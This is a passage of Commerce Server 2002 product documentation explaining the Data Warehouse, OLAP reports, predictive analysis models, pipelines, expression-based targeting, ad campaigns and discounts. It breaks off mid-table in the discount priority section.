The logical schema provides an understandable view of the data in the Data Warehouse, and supports an efficient import process. For example, a site developer uses the logical schema to modify the location of data stored in the underlying physical tables. When a site developer writes code to add, update, or delete data in the Data Warehouse, the developer interacts with the logical schema. When Commerce Server accesses data in the Data Warehouse, it accesses the data through the logical schema. Only the site developer needs detailed knowledge of the logical schema.

A logical schema includes the following:

  • Class. A logical collection of data members. For example, the RegisteredUser class contains data members describing a registered user.
  • Data member. A structure that stores a piece of data. For example, the E-mail data member of the RegisteredUser class stores the e-mail address for a registered user.
  • Relation. A connection between two classes in a parent-child relationship. The parent-child relationship defines the number of instances (1 or many) a child can have with a corresponding instance in the parent. For example, RegisteredUser is a parent to the child class Request. There can be many requests for one registered user.

The logical schema uses classes, data members, relations, and other data structures to map data in the physical store.

See Also

Using the Data Warehouse in Web Site Management

Data Warehouse Structure

Overview of Importing Data to the Data Warehouse

Preparing Data for Analysis with OLAP

Reports and Segment Models


Overview of Importing Data to the Data Warehouse

The data that populates the Data Warehouse typically comes from multiple data sources: Web server logs, Commerce Server databases, and other data sources that you specify. The following figure shows the sources for operational data, and how the data might be used to support tasks run from Business Desk.

A figure that shows how data is imported into the Data Warehouse.

Because the Data Warehouse is not part of your run-time environment, a system administrator must determine how frequently to import the operational data into the Data Warehouse. For example, you can set up the Data Warehouse so that it automatically imports new data every day or every week. The frequency with which you will need to import data depends on the amount of new data collected every day in your operational data sources. Commerce Server includes custom Data Transformation Service (DTS) tasks that simplify the importing of data to the Data Warehouse. These DTS tasks import data that is used with the reports available from Business Desk.

Even though the operational data can be imported from different types of databases—or from storage media that are not databases—all of the data is structured in a consistent manner after it is gathered into the Data Warehouse. For example, you might have one data source in which the first and last names of a user are stored in the same field, and another in which the first and last names are stored in separate fields. When this data is imported to the Data Warehouse, it is automatically structured to be consistent, thus enabling your analysis activities.

See Also

Using the Data Warehouse in Web Site Management

Data Warehouse Structure

Preparing Data for Analysis with OLAP

Reports and Segment Models

Extending the Data Warehouse

Running the Data Warehouse

Business Desk Analysis


Preparing Data for Analysis with OLAP

After data is imported to the Data Warehouse SQL Server database, it must be prepared for analysis so business managers can run reports against it. To prepare data for reporting, the system administrator runs a DTS task that exports a selected subset of data from the SQL Server database to the OLAP database. In the OLAP database, the data is stored in multidimensional cubes.

By storing data in OLAP cubes, instead of in relational tables in SQL Server, the Data Warehouse can retrieve data for reporting purposes more quickly. The data can be retrieved from the cubes faster because it is aggregated. That is, OLAP is typically much faster than SQL Server because the OLAP data is aggregated and the SQL Server data contains all the details. For example, by using OLAP you can run a report that lists users who visit your site based on the time of their visit and on the ASP page that they access first. It would be extremely difficult to run such a report against a large SQL Server database.

In multidimensional cubes, data is grouped in two kinds of structures:

  • Measures. The numeric values that are analyzed.
  • Dimensions. A business entity, such as color, size, product, or time. For example, you would use the color dimension to contrast how many red products and blue products were sold, and the size dimension to contrast how many large and small products were sold.

It is the relationship between the dimension (for example, color) and measure (for example, number of products sold) structures that provides the basis for your reports about user activity.

The following figure illustrates the dimensions and measures in a report.

An illustration of a report with callouts indicating measures and dimensions

See Also

Using the Data Warehouse in Web Site Management

Data Warehouse Structure

Overview of Importing Data to the Data Warehouse

Reports and Segment Models


Reports: Dynamic and Static

To analyze the data stored in the Data Warehouse, Commerce Server provides dynamic reports and static reports.

Dynamic Reports

Static Reports

Reports using OLAP Server over HTTPS


Dynamic Reports

Dynamic reports are created at run time. Each time the report is run, it gathers the most recent data in the OLAP server if the data is dynamic OLAP data, and in the Data Warehouse (SQL Server) if the data is dynamic SQL data.

Only the report definition, which remains the same over time, is stored. Commerce Server does not save completed dynamic reports; however, you can export dynamic report results to Microsoft Excel and store them there. For information about exporting the results of a dynamic report to Microsoft Excel, see Exporting a Dynamic Report.

The following figure shows how a dynamic report is generated: data is stored in the Data Warehouse, cached in the OLAP database when the Report Preparation DTS task is run, and then accessed by the Business Desk client to run a report.

Figure showing how a dynamic report is generated


Static Reports

Static reports are run immediately upon request, and then stored, with the data, in Completed Reports. The reports appear in a browser window in HTML format. You can export static report results to the List Manager module, and then use the list in a direct mail campaign. You can send these reports to others by using e-mail, post them on your Web site, and edit them in other applications. For example, using Microsoft Internet Explorer, you can export the report into a Word document, and then edit it.

Commerce Server 2002 includes several reports that you can run from Business Desk, such as the Executive Summary Report, the Products by Quantity Sold Report, and the Hits by User Report. You can use one or more of these reports, or you can customize a report to retrieve other data.

The following figure shows how a static report is generated: data is stored in the Data Warehouse, cached in the OLAP database, rendered by the Report Manager components, and then accessed by the Business Desk client.

Figure showing how a static report is generated


Reports Using OLAP Server over HTTPS

The Business Analytics System enables a Business Desk user to run dynamic reports by connecting to Analysis Services (to access the OLAP database) through Internet Information Services. When you configure this connection method, the PivotTable service can tunnel through firewalls or proxy servers to the Analysis Services server.

You perform the following steps to configure access to Analysis Services over HTTPS. Each of these steps is described in detail in the topic Accessing the Analysis Server over HTTPS.

  • Install Internet Information Services and SQL Server 2000 Enterprise Edition, including the Enterprise Edition of Analysis Server, on the same computer.
  • Configure the Analysis Services client connection string (ConnStr_OLAP_Client) by using Commerce Server Manager to access the Data Warehouse Properties dialog box. You specify a URL in the Data Source property of the connection string.
  • Configure Msolap.asp by using Internet Information Services.

The following figure shows the components used to create reports using OLAP over HTTPS.

Figure showing the components used to create reports using OLAP over HTTPS.

See Also

Extending the Data Warehouse

Running the Data Warehouse

Business Desk Analysis


Prediction and Data Mining Concepts

The Commerce Server Predictor resource is a powerful data-mining tool that you use to provide predictive capabilities for your Web site, for example, to display product recommendations. You can also use the Predictor resource to analyze the characteristics of the users visiting your site, and discover relationships among the characteristics. You can then use this information to target content to users who have similar characteristics.

The Predictor resource mines data collected in the Data Warehouse. The Data Warehouse database can store all site data, including user profile data, click-history data, and transaction data. Although the Data Warehouse database is quite large, the capabilities of the Predictor resource can efficiently mine the data.

This section contains:

  • Using Prediction in Web Site Management
  • Analysis Models
  • Prediction Models
  • Segment Models
  • Creating Analysis Models


Using Prediction in Web Site Management

Your site developer uses the Predictor resource in Commerce Server to add predictive capabilities to your site. The Predictor resource enables you to perform the following profiling and targeting activities:

  • Provide intelligent cross-sell support. Suggest items that a user might be interested in by correlating properties about the user, or items the user has ordered, with a database of items that other users have ordered previously. You can restrict the items that are suggested to a particular part of the catalog.
  • Segment users based on their behavior or profile. Analyze these segment models to discover the characteristics that partition those users into population segments. Your system administrator builds segment models that you can analyze by using the Segment Viewer module in Commerce Server Business Desk.
  • Fill in missing values in your user profile data. Predict a missing value, for example, a user profile property that the user did not supply.

For step-by-step instructions about how to use the Predictor resource, see the Predictor Resource Tutorial.

See Also

Analysis Models

Prediction Models

Segment Models

Creating Analysis Models


Analysis Models

The Predictor resource builds analysis models from data. An analysis model is a set of statistical relationships based on known properties of past site users, their purchase history, click history, or other behavior. The model contains information about the types of users who visit your site, but it does not contain information about specific users. The detailed information used to create an analysis model is stored in the Commerce Server Data Warehouse, or in another data source.

You can use analysis models to perform implicit profiling and to target content to users:

  • Implicit profiling. If profile information about a user is missing - for example, the gender of a user - this information can be extrapolated by the analysis model based on the aggregate properties of the entire user population who visits your site.
  • Targeting content. You can use analysis models to add predictive capabilities to your Web site. For example, you might want to present users with a ranked list of recommendations for products in your catalog or to display advertisements that might be of interest. You can also view analysis models to analyze the characteristics of the users visiting your site, discover relationships among the characteristics, and then target content to users who have similar characteristics.

Two types of analysis models are used in Commerce Server: Prediction models and Segment models.

See Also

Using Prediction in Web Site Management

Prediction Models

Segment Models

Creating Analysis Models


Prediction Models

You use a Prediction model, a collection of decision trees also known as a dependency network, to provide real-time purchase recommendations to users visiting your site, and to guess unknown profile properties about users. A Prediction model summarizes relationships in the data in the form of rules. For example, a Prediction model might say that if a visitor to your site is male, over 55, and purchases sports clothes, then he is also likely to purchase golf equipment. You can use this model to make real-time recommendations for golf equipment to users who match this profile.

Prediction models typically provide recommendations that are more accurate than human-generated rules, because they predict based upon the previous activity on the site; consequently, they usually result in more sales.

To analyze Prediction models, you use the Prediction Model Viewer in Commerce Server. For information about viewing Prediction models, see Viewing Analysis Models.

See Also

Using Prediction in Web Site Management

Analysis Models

Segment Models

Creating Analysis Models


Segment Models

A Segment model, also known as a cluster model, partitions users who tend to have similar properties or behavior into segments. You can use these segments to gain an understanding of the users who visit your site and also for subsequent marketing. For example, you notice that sales have skyrocketed for a popular fantasy book for children. You discover that users in a segment with the following characteristics make most of the purchases of that book: female, over 40, income above $50,000 per year, and college educated. You can now offer similar products to users in this segment.

You use the Segment Viewer module in Business Desk to analyze Segment models. For information about the Segment Viewer, see Analyzing Population Segments.

See Also

Using Prediction in Web Site Management

Analysis Models

Prediction Models

Creating Analysis Models


Creating Analysis Models

Each analysis model is based on a model configuration, which is a description of the data to be used to build the model. A model configuration specifies:

  • A data source for building the analysis model. Typically the data source is the Data Warehouse because it contains vast amounts of user data. However, you can use an external database to build an analysis model.
  • Attributes for the model. An attribute identifies which columns of user data (represented in a table) should be included in the model. An attribute might include user profile data, purchase history, or click history.

As soon as you have collected data, you can use the model configurations to build analysis models. To build an analysis model, the system administrator uses the Predictor resource in Commerce Server Manager. Models are not built on the Web server, so the building process does not impact the performance of your site.

After the model is built, the system administrator can move a copy of the model to each of your Web servers (all Web servers use the same model), and then enable predictive capabilities on your site. You can view the Prediction model or the Segment model to analyze the patterns of the users visiting your site.

After you have gathered a significant amount of new data, your system administrator should rebuild your analysis models. You build analysis model configurations infrequently, however, only when you change what you are trying to predict or analyze.

See Also

Predictor Schema

Running the Predictor Resource

Analyzing Population Segments

Programmer's Reference

Targeting and Personalization Concepts


Pipeline Concepts

A pipeline is an extensible software framework that defines and links together one or more stages of a business process, running them in sequence to complete a specific task. For example, the Order Processing Pipeline provides the sequence of steps that are used to process purchases from your site. In the first stage in the Order Processing Pipeline, you retrieve the product information from the database that stores catalog data. In the next stage, you add the address of the user to the order. Each stage in the pipeline represents a category of work. The sequence of the stages determines the sequence in which the work is to be done.

Commerce Server 2002 includes a set of pipelines that perform much of the standard processing required by a Commerce Server site. A site developer can tailor these pipelines to meet the specific needs of the site. For example, a site developer can add new stages to the pipeline, integrate the pipeline components with your existing system, or replace the components with other components supplied by third parties.

This section contains:

  • Types of Pipelines
  • Pipeline Structure
  • Creating and Editing Pipelines


Types of Pipelines

Commerce Server includes the following types of pipelines:

  • Content Selection Pipeline. Selects content to be displayed to users. For example, it determines which advertisements a user should see or which discounts a user should receive, based on the targeting expressions you created by using Commerce Server Business Desk, how many advertisements are to be delivered, and other factors.
  • Event Processing Pipeline. Records events related to the displayed content (for example, a user clicking on an ad) and stores them in the Commerce Server databases. This information is then used for reporting purposes, for example, how many users have clicked on an ad.
  • Direct Mailer Pipeline. Constructs and delivers messages for direct mail campaigns. It can construct personalized e-mail messages or messages with static content.
  • Order Processing Pipeline. Processes either business-to-consumer (retail) orders or business-to-business (supplier) orders. These pipelines ensure that an order goes through all the necessary stages to be processed appropriately. For example, they retrieve the product description from the catalog, retrieve the shipping address for the user, compute the amount of tax, and compute the total price.

    Commerce Server includes the following types of Order Processing Pipelines:

    • Product Pipeline. Computes price and discount information for a product.
    • Plan Pipeline. Verifies the integrity of the order. For example, if the order does not contain any items, then an error is generated.
    • Purchase Pipeline. Accepts the final purchase of an order form, writes an order to database storage and, optionally, finalizes a receipt and writes the contents of the order to the receipt database.

See Also

Working with Pipelines

Building Pipeline Components

Pipeline Component Reference

Extending the Content Selection Framework


Pipeline Structure

A pipeline is defined in a pipeline configuration file, which has a .pcf file extension. In the .pcf file, you can see the stages of the pipeline. Each stage contains one or more pipeline components. A site developer can configure each stage to work with the unique requirements of your site.

The following figure shows the stages of the Retailing Purchase Pipeline (the Purchase.pcf file).

A figure that shows the stages of the Retailing Purchase Pipeline.

Information is passed from an ASP page to the pipeline by using the following two dictionaries:

  • Context dictionary. A read-only dictionary that provides the pipeline with information about the environment. For example, it might contain the connection string for a database.
  • Order dictionary. A read/write dictionary that provides the data that the pipeline is to process. For example, when a user submits an order, all the information is gathered together in the order dictionary, and is then passed to the Order Processing Pipeline.

The content of each dictionary is dependent on the type of pipeline. A site developer specifies the information that must be included in the dictionary on the ASP page.

Commerce Server pipelines can be run as transactions, which allow the pipeline to roll back the process if an error occurs. In addition, Commerce Server pipelines take advantage of Microsoft Windows 2000 Server object pooling to greatly increase the processing speed. For information about object pooling, see the Windows 2000 Server online documentation.

See Also

Working with Pipelines

Building Pipeline Components

Pipeline Component Reference

Extending the Content Selection Framework


Creating and Editing Pipelines

A site developer uses the Pipeline Editor to create new pipelines and to change existing pipelines. Commerce Server provides seven pre-configured pipeline templates that you can use as a basis for your own custom pipeline. The template files for creating new pipelines have the .pct (pipeline configuration template) file extension. You can change the names of stages and add or delete stages. You can add or delete any component in any stage.

See Also

Working with Pipelines

Building Pipeline Components

Pipeline Component Reference

Extending the Content Selection Framework


Targeting and Personalization Concepts

Targeting and personalization are the processes of delivering personalized content to one or more users, or to any other business entity that has a profile. For example, if you are running a sports Web site, you might want to deliver tennis-related information only to tennis players, or to users who are interested in tennis. You might want to deliver announcements about upcoming tennis tournaments, or advertisements and promotions for tennis products.

You can use Commerce Server 2002 Enterprise Edition to perform two types of targeting:

  • Expression-based targeting. Also known as explicit targeting. This is used when you know the profile properties of the users to whom you are delivering content, or you know the context, and you know what content is to be delivered. You use the Campaigns modules in Commerce Server Business Desk to specify this information and deliver the content to the user.
  • Prediction. Also known as implicit targeting. This is used when you do not know all the necessary profile properties to target the user, or you do not have specific content to deliver. You use the Commerce Server Predictor resource to extrapolate this information from existing user data so that you can deliver content of interest to each user. For conceptual information about prediction, see Prediction and Data Mining Concepts.

Both expression-based targeting and prediction improve your ability to deliver content that might be of interest to the users who receive it. Users are more likely to return to your site when they can expect to receive a personalized experience.

This section contains:

  • Using Targeting Methods in Web Site Management
  • Expression-Based Targeting
  • Processing Expressions


Using Targeting Methods in Web Site Management

You can target content to any business-related item that has a profile. For example, you can target content to anonymous users, registered users, companies, or contexts. For conceptual information about profiles, see Profile Concepts.

You use Business Desk to target content to business-related items. For example, you can do the following:

  • Create a direct mail campaign that delivers personalized messages to users.
  • Deliver content such as advertisements to users based on certain user profile properties. For example, you might display advertisements for bicycles to users who have their Favorite Sport property set to "Biking."
  • Identify groups of Web pages, and then target content to be displayed only on those pages, or only when users with specific properties access those pages.
  • Display content on a page based on the properties of other content on the page. For example, if your Web site provides news, you can assign profiles to the content specifying whether Weather_Type property is "Hot" or "Cold." If Weather_Type = Hot, you can display an advertisement for air conditioners.
  • Apply discounts to certain products in your catalog, based on characteristics of the product itself, or based on the user profile.
  • Choose when to display a discount and when the discount is to be applied to the order. For example, you can apply the discount when users put the item in their basket or when they check out.

See Also

Expression-Based Targeting

Processing Expressions

Expression Builder


Expression-Based Targeting

Expression-based targeting is the process of creating expressions that define the users or context you want to target and the content you want to deliver. An expression is a condition that is evaluated against profiles to determine whether to deliver content, or to perform another action. For example, an expression might be user.totalvisit > 100. If this expression evaluates to "True," then a specific piece of content is displayed to the user.

You use the Campaigns modules in Business Desk to create expressions, and then combine the expressions with the action you want to perform after the expression is evaluated. You can create two types of expressions:

  • Target expressions. Identify where, when, and to whom content should be displayed. For example, you can target content to users who have specific profile properties. You can also target content to specific sections of a Web site, called page groups. For example, you can create a target expression that will display certain ads only on sports pages.
  • Catalog expressions. Specify the products in a catalog that a discount can be applied to. For example, a catalog expression might be Product.price = 20.00. If this expression evaluates to "True" for a particular product, then a discount of 10 percent is applied to the price of that product when users add it to their shopping baskets.

After you have created target expressions, you can combine them to form a target group. A target group is a collection of expressions and actions. For example, you might create one expression to show a specific piece of content to users who have visited the site 10 times, and another expression to show content to users who have purchased a soccer shirt. You can combine the two expressions in a target group with AND or OR statements. For example:

If the user has visited the site 10 times AND the user has purchased a soccer shirt,
Display an advertisement for a soccer product.

In a target group you combine expressions by specifying the action to be taken when each expression evaluates to "True." Each action has two multipliers: a multiplier to apply if the expression is true, and a multiplier to apply if the expression is false. When the multiplier is applied, the expression is given a score, which affects whether the content is eligible for delivery. You can specify the following actions:

  • Target. If the expression evaluates to "True," the score is increased, as is the probability the content will be shown. If the expression evaluates to "False," the score is not changed. In both scenarios, the content is eligible for delivery.
  • Require. If the expression evaluates to "True," the content is eligible for delivery; if it is "False," the content is not eligible for delivery.
  • Exclude. If the expression evaluates to "True," the content is not eligible for delivery; if it is "False," the content is eligible for delivery.
  • Sponsor. If the expression evaluates to "True," the content is eligible for delivery and no other content is eligible unless it too has an expression with action = Sponsor. (Sponsor has only one multiplier.) For example, if Microsoft sponsors an advertisement on a home page, only Microsoft advertisements are displayed; however, if there are more advertisements from other companies sponsoring the home page, those advertisements would also be eligible for display.

A site developer can change the values of the multipliers provided with Commerce Server. You might want to do this to give expressions with one action type a higher priority than expressions with a different action type.

See Also

Using Targeting Methods in Web Site Management

Processing Expressions

Expression Builder


Processing Expressions

Commerce Server performs several steps to specify the piece of content that is to be shown to a user. The following components are used in the process:

  • ExpressionEval. This Component Object Model (COM) object takes the expression and user data as input, and then processes the expression to determine whether it evaluates to "True" or "False."
  • Content Selection Framework (CSF). This platform-level framework includes a set of components and pipelines (the Content Selection Pipeline and the Event Processing Pipeline) that determines the action to be performed as a result of the expression.

The following figure illustrates how target expressions, catalog expressions, user data and context data are input into the Expression Evaluator, which results in True, False, or undefined results. The result is input to the CSF, which then determines the action to perform.

A figure illustrating how Expression Evaluator and CSF process expressions

See Also

Extending the Content Selection Framework

Prediction and Data Mining Concepts

Campaign Concepts

Business Desk Campaigns

Expression Builder


Campaign Concepts

A campaign is a marketing program that uses many communication vehicles to accomplish a specific result, such as increasing market share, introducing new products, or retaining customers. Commerce Server provides several different delivery mechanisms for your online campaigns. For example, you can create campaigns for advertisements, discounts, and direct mail, and you can use analysis features to target your campaigns to specific groups of users.

This section contains:

  • Using Campaigns in Web Site Management
  • Campaign Structure
  • Campaign Goaling
  • Reference Tables for Campaigns


Using Campaigns in Web Site Management

The Campaigns modules are designed so you can work with your customers to maximize the effect of ads, discounts, and direct mail. With Campaigns, you can:

  • Target ads or discounts to users of a specific profile. You set up a user profile by using the Profile Definition Designer module, and then integrate it into a campaign. For each individual ad page, you can specify whether the profile for the user browsing that page should be considered for targeted content or ignored.
  • Run campaigns for customers who compete within the same industry. The competing ads are never shown on the same page.
  • Charge your customers based on the number of ad requests they want their ads to receive. The Content Selection Framework considers this in ranking the content.

The following figure shows the components used in the Campaigns feature of the Targeting System.

Figure shows the components used in the Campaigns feature of the Targeting System


Campaign Structure

Campaigns and the associated campaign items are grouped by customer. Customer information, such as billing address, is used for all campaigns created for that customer and for reporting purposes. You can view all your customers in alphabetical order in the Campaign Manager.

Campaigns are a grouping structure for campaign items. There are three types of campaign items: ads, discounts, and direct mail campaigns. Each campaign can have multiple campaign items. For example, a campaign to promote a new product might include three campaign items: an advertisement banner on the home page, a personalized direct mail message announcing the new product, and a discount campaign item offering a 10 percent discount to users who purchase the product during the month of June.

The following figure shows the hierarchical structure of the Campaign Manager tree.

Hierarchical structure of the Campaign Manager tree

All campaign items within one campaign have common customer and date ranges. For example, in the travel section of a Newspaper site, an advertiser might request the delivery of 10,000 requests within a week to users from the Northwest. The advertiser might decide to run three different ads to fill those 10,000 requests and then see which one of the three ads creates the highest click rate. Each ad is a campaign item.

See Also

Using Campaigns in Web Site Management

Campaign Goaling

Reference Tables for Campaigns


Campaign Goaling

Campaign goaling is the process of specifying the number of ads to deliver (the goal) in a certain amount of time. You can goal by clicks on an ad or by requests for an ad. You can goal campaigns at the campaign level or at the ad level.

  • Campaign level goaling applies the goals to all of the campaign items (ads) in the campaign by using a weighted distribution of the total number of requests.

    For example, say you perform goaling at the campaign level for a customer. The customer gives you two ads, and orders 25,000 ad requests. At the campaign level, one ad is set up to display 60 percent of the ad requests, and the other ad is set to display 40 percent of the ad requests. If the customer changes the number of ad requests, for example, to 40,000, you do not have to manually change the number of times the ads are to appear; they are still 60 percent and 40 percent.

  • Ad level goaling applies the goals at the campaign item level. The total requests for the campaign will be equal to the total number of ordered requests for each campaign item. For example, a customer might order 50,000 requests to be delivered in one month. The ad item must be delivered 50,000 times.

You can switch between campaign level goaling and ad level goaling. Campaign level goaling determines how the weights for the ads will be calculated. For example, in Campaign Manager, you can goal at the campaign level and assign each campaign item a weight of 1. Later, you can change the goaling to advertising level goaling and order additional ad requests for one of your campaign items. The total quantity ordered for the campaign now has additional ad requests.

If you add an additional ad to a campaign that has been converted from advertising level goaling to campaign level goaling, the paid weight of all the ads must be changed or the delivery of the ads will be skewed. For information about switching between campaign level goaling and advertisement level goaling, see Changing between Campaign Goaling and Advertising Item Goaling.

See Also

Using Campaigns in Web Site Management

Campaign Structure

Reference Tables for Campaigns


Reference Tables for Campaigns

You use the Reference Tables module in Business Desk to set the sizes of content that is displayed on your site, to establish industry codes that you can use to prevent two ads from the same industry appearing on the same page at the same time, and to manage the names of page groups. The properties in the Reference Tables module ensure the consistency of advertising content across your site.

  • Content sizes are the sizes you want for your content (ads and discounts). Commerce Server 2002 provides several default content sizes. These content sizes are taken from a list of commonly used sizes approved by the Internet Advertising Bureau (IAB). Content sizes are validated through the Content Size section in the Reference Tables module.

    The content sizes in the reference tables are available when you select the size you want for your campaign item content. You can view, edit, and delete any of the predefined sizes, or you can create a new content size to fit your needs.

  • Industry codes are codes for different industries, for example, automotive, aviation, and beverage. You use industry codes to identify the associated industry of an advertisement, thus preventing two ads from competing companies in the same industry from appearing on the same page. Industry codes do not apply to discounts.

    You can update your industry codes, for example, to include more than one beverage code, such as one for coffee and one for milk, so that ads for different types of beverages can appear on the same page. For example, it might be acceptable for an ad for coffee to compete with an ad for milk on the same page. You can set the level at which the industry conflict is monitored by controlling the number of entries in this table.

    Commerce Server provides several popular industry codes for your use. The industry codes used in ads are validated through the Industry Codes section in the Reference Tables module. The industry codes in the reference tables are available when you select the industry code for a campaign item. You can view a list of all current industry codes, add new industry codes, edit industry codes, and delete industry codes from the Industry Code section in the Reference Tables module.

  • Page groups are sets of related Web pages that are tagged with particular page group names and used for targeting ads. For example, if you are running a newspaper site, you might create a page group for Sports, one for the Top Story, and another for Local News. You can then target ads to display only on pages in certain page groups.

    When you bill customers for displaying ads on your site, you can base the advertising rates by page group. For example, you can charge a premium for ads displayed on your home page, but less for ads displayed on other pages.

    Note
    • Before a page group can be used, you must ad-enable the page. For instructions, see the Commerce Server Software Development Kit.

See Also

Using Campaigns in Web Site Management

Campaign Structure

Campaign Goaling


Ad Concepts

Commerce Server supports two types of ads: paid ads and house ads.

  • Paid ads are pieces of content to be delivered by Commerce Server based on a specific formula for delivery referred to as Need of Delivery (NOD).
  • House ads are pieces of content that are served when paid ads are ahead of the Need of Delivery schedule specified for them. For example, a customer orders 1,000 paid ads to be delivered over four months, but in the first two months the ad has been served 850 times. To balance the Need of Delivery schedule, house ads would be served.

    House ads are critical to ensure the smooth delivery of your paid ads. House ads are also displayed when there are no paid ads eligible for the request. For example, a house ad would be served because all paid ads missed a required target.

    House ads can also be used to sell leftover inventory at discounted prices. They can also be used if the ads on the site do not have specific delivery goals, but you want to have the ads run at specified weights

This section contains:

  • Components of an Ad
  • Targeting Ads: Weight and Target Group
  • Processing Ads: Content Selection Framework


Components of an Ad

In Commerce Server, ads are treated as having four parts:

  • Ad properties are the name of the ad, the type (paid ad or house ad), the weight or number of requests or clicks scheduled to be delivered (paid ad versus house ad), the exposure limit, and the industry associated with the ad.
  • Ad schedule is the start date/time and end date/time. You can select on which days of the week the ad will be displayed, and what times of each day.
  • Ad target identifies on which pages the discount will be displayed, and to which target groups.
  • Ad display identifies the size of the ad, the type (for example, image, text, or HTML), and if needed, the image and/or URL that the user can click to go to another page (or Web site). You can display ads as images, text, HTML, non-clickable images, Buy Now ads, Windows Media Services, or vignettes. (A vignette ad is composed of text that is displayed adjacent to the image where the ad is displayed.)

See Also

Targeting Ads: Weight and Target Group

Processing Ads: Content Selection Framework


Targeting Ads: Weight and Target Group

Using Commerce Server, you can determine when an ad is displayed, where, and to whom. When you create an ad, you specify the following:

  • Exposure limit. The number of times the ad can be shown to a user within a session. If your site uses user profiles to store campaign history, then the exposure limit is the number of times the ad can be shown to a user within a cross-session.
  • Weight. A means of determining how frequently an ad is displayed, relative to all of the campaign items for a given customer. In a campaign, weight only applies to ads that are goaled at the campaign level. If the ads are goaled at the item level, weight is not used for paid ads.

    For house ads the weight is relative to all other house ads for all customers and all campaigns. For paid ads, the weight is relative to other paid ads in the same campaign. The weight of an individual campaign item is relative to the weight of all the other campaign items.

    For example, assume you have four ads to sell paint, and you assign the weight as follows:

    Ad | Weight | Percentage of times served
    Blue paint | 1 | 10
    Green paint | 2 | 20
    Red paint | 3 | 30
    Yellow paint | 4 | 40
    Total weight | 10 | 100

    The total weight of all the ads is 100 (10+20+30+40 = 100). The blue paint ad has a weight of 1 so it will be displayed once out of every ten ad requests.

    For paid ads, the weight is the ratio of a single ad to the sum of all the campaign items for that campaign. For house ads, the weight is the sum of the weights of all other house ads in the campaign.

    For ads that are goaled at the campaign item level, weight is not used to determine the delivery of the ad. Instead, you directly specify the number of requests or clicks that should be served.

  • Page groups. A set of related Web pages is tagged with a particular page group name and used for targeting ads. For example, if you are running a newspaper site, you might create a page group for Sports, one for the Top Story, and another for Local News. You can then target ads to display only on pages in certain page groups.

    You create page groups by using the Reference Tables module.

  • Target groups. A collection of targets to which content will be displayed. For example, you can target ads to users who have specific profile properties.

See Also

Components of an Ad

Processing Ads: Content Selection Framework


Processing Ads: Content Selection Framework

The Content Selection Framework (CSF) processes the variables that you specify for an ad: campaign goaling, exposure limit, schedule, weight, page groups, and target groups. Each time a user visits your site, it determines whether the ad is to be displayed.

The Content Selection Framework for advertising uses a formula called Need of Delivery (NOD) to initially score the advertisements based on how far behind schedule they are. This formula takes into account the total quantity of content to be delivered and the length of time over which the quantity must be delivered. Need of Delivery is calculated for each ad request by the Content Selection Framework after it has processed the ad request. Need of Delivery is applied to paid ads only; it is not applied to house ads.

If you have several ads and want to know on what basis they are being displayed, contact your site developer. Commerce Server includes a tool named TraceScores that your site developer can use to trace the selection process. Use TraceScores to see exactly how the internal content decision process works.

If you plan to run many campaigns simultaneously, using the same target group and the same priority, the Content Selection Framework selects the ad to be displayed based on the ad type. If the ads are both house ads, an ad is selected at random using the weights as relative probabilities. If the ads are paid ads, an ad is selected for display based on the Need Of Delivery calculation (which takes into account the start date, end date, number of events scheduled, and number of events served to date). One of the score modifications is History Penalty, which applies a decreasing penalty to ads recently seen by a user. When the History Penalty is enabled, ads are "rotated" over time.

See Also

Components of an Ad

Targeting Ads: Weight and Target Group

Content Selection Framework


Discount Concepts

Discounts are a critical part of the Commerce Server merchandising system. The Commerce Server discounts feature provides you with the ability to create and publish promotional prices on products or product groups to users that meet certain specified conditions. You can apply discounts to any item in your catalog. You can apply a discount against an entire order (an order level discount), or you can apply it against specific items in the order (an item level discount).

This section contains:

  • Using Discounts in Web Site Management
  • Discount Priority
  • Discount Conditions
  • Discount Awards
  • Discount Limits
  • Disjoint Discounts
  • Click Required Discounts
  • Discount Eligibility Requirements
  • Multiple Discounts
  • Processing Discounts


Using Discounts in Web Site Management

Commerce Server 2002 provides you with the ability to apply multiple discounts to an item or an order, and control over the sequence in which the discounts are applied. Commerce Server 2002 also allows you to mix both item-level and order-level discounts in a single order. For information about the order in which multiple discount types appear, see Discount Sort Order. For information about multiple discounts, see Multiple Discounts.

Commerce Server 2002 provides campaign managers with the ability to apply multiple discounts to an item or an order, and control over the sequence in which the discounts are applied. Commerce Server 2002 also allows campaign managers to mix both item level and order level discounts in a single order.

  • Order level discounts apply to all products in a shopping basket. For example, free shipping is a type of order level discount: you can give users free shipping for all products in their basket. Order level discounts delivered with Commerce Server include free shipping, and a percentage or dollar amount off the total price.

    If you want to offer another type of order level discount, for example, a 10 percent discount for preferred users, a site developer must make custom changes to your site.

  • Item level discounts apply to specific products in the basket. You can apply multiple discounts to a single line item or to a single order.

You can use Commerce Server to create and apply the following discount types:

  • Click-required discounts are only applied if the user clicks the discount URL, which might be an image of the product that says, for example, "10 percent off." Site developers can extend this type of discount for other uses, such as offering coupons that the customer must have in order to receive the discount.
  • Leverage discounts are based on the purchase of other products. For example, when users add a telephone to their basket, you can offer them a hands-free headset at checkout that they can then accept by adding it to their basket. Or you can offer users another accessory at a discounted price.
  • Percentage-off discounts reduce the price of products by a percentage, rather than by a dollar amount. For example, you can discount products by 10 percent, and then change the price of the products as needed. When you change the price of the products, the discount amount is updated automatically.
  • Dollar-off discounts reduce the price of products by a fixed amount. For example, you can offer a $5.00 discount on certain products. Even though you might change the price of the products, the discount amount ($5.00) always stays the same.
  • "Happy Hour" discounts reduce the price of products during certain dates or times. To schedule discounts to apply during certain hours, you can build expressions that evaluate the Current Time property. For example, if Current Time > 5:00 pm and Current Time < 9:00 pm, discount the product by 10 percent.

You can apply these discounts to individual products, to all the products in a category, or you can create an expression to discount products that meet specific criteria, for example, to offer a 10 percent discount on all items from a certain manufacturer.

For example, you can create discounts to apply in the following situations:

  • Price of product is greater than $20.00. This is a discount condition expression. Discount condition expressions are based on a product property.
  • User buys two. This is part of a required discount condition criteria.
  • User clicks a discount ad on the Sports page. This is the click-required part of a discount.
  • User is registered. This is a discount eligibility expression. Discount eligibility expressions are based on user profiles and context profiles.


Discount Priority

You give every discount a priority that determines when it should be applied relative to other discounts that might also apply to a product. (Unlike ads, discounts do not use weights to determine when they are delivered.) Discounts are applied from the lowest numerical number to the highest. For example, a discount with a priority of 10 will be applied before a discount with a priority of 20. This is true even if the discounts apply to the same award item.

For example, the beverage department of your online store has a special offer for summer: buy one case of juice; get the second case for half price. However, your online store has another special offering a 10 percent discount on each product in the beverage category. Assume you prioritize these discounts as shown in the following table.

Discount | Priority
